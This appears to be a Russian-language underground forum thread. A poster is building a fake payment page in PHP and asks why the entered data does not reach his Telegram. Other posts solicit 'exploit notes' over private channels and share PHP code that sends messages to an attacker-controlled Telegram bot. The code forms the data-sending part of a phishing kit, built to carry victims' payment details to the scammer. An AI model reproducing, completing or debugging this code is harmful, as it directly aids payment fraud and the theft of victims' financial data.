@sw1ngafhow are you communicating ? Get on PM , so I can look at it , I just don't trust zipfiles so send me code on private note or exploit notes
Private message me your jabber@sw1ngaf
Telegram
<?php
function sendTelegramMessage($message, $bot_token, $chat_id) {
try {
$post_data = array(
"chat_id" => $chat_id,
"text" => $message,
);
$url = "https://api.telegram.org/bot$bot_token/sendMessage";
$options = array(
'http' => array(
'method' => 'POST',
'content' => http_build_query( $post_data ),
'header' => "Content-Type: application/x-www-form-urlencoded\r\n"
)
);
$context = stream_context_create( $options );
$result = file_get_contents( $url, false, $context );
return $result;
} catch (Exception $e) {
return $e;
}
}
в таких случаях следует описывать каким способом решил, а не просить тему удалятьТему можно удалить, уже пофиксил!
Ajaxв таких случаях следует описывать каким способом решил, а не просить тему удалять
Здраствуйте ребята, я делаю фейк платежку на PHP. Когда ввожу все данные и нажимаю на кнопку отправить ничего не приходит в ТГ, почему так происходит?
<?php
// Замените YOUR_BOT_TOKEN на ваш токен бота Telegram
$botToken = 'YOUR_BOT_TOKEN';
// Замените CHAT_ID на идентификатор чата, куда отправляется запрос на подтверждение
$chatId = 'CHAT_ID';
// Замените PAYLOAD на необходимые данные для подтверждения
$payload = [
'amount' => 100, // Сумма подтверждения
'currency' => 'USD', // Валюта
'invoice_payload' => 'your_invoice_id', // Уникальный идентификатор счета
'shipping_option_id' => 'shipping_option_id', // Идентификатор выбранного варианта доставки (если применимо)
];
// Формируем URL для запроса к API Telegram
$apiUrl = "https://api.telegram.org/bot{$botToken}/sendInvoice";
// Данные, которые будут отправлены в запросе
$data = [
'chat_id' => $chatId,
'title' => 'Payment Confirmation', // Заголовок счета
'description' => 'Confirm your payment', // Описание счета
'payload' => json_encode($payload), // Данные для подтверждения в формате JSON
'provider_token' => 'your_payment_provider_token', // Токен платежного провайдера
'start_parameter' => 'start_parameter', // Уникальный параметр, который будет передан обратно боту после оплаты
];
// Инициализируем cURL-сессию
$ch = curl_init($apiUrl);
// Настраиваем параметры cURL-запроса
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Выполняем запрос и получаем ответ
$response = curl_exec($ch);
// Закрываем cURL-сессию
curl_close($ch);
// Обработка ответа от API Telegram
if (!$response) {
echo "Error: Failed to send the request to Telegram API.";
} else {
$responseData = json_decode($response, true);
if ($responseData['ok']) {
echo "Invoice has been sent for payment confirmation.";
} else {
echo "Error: " . $responseData['description'];
}
}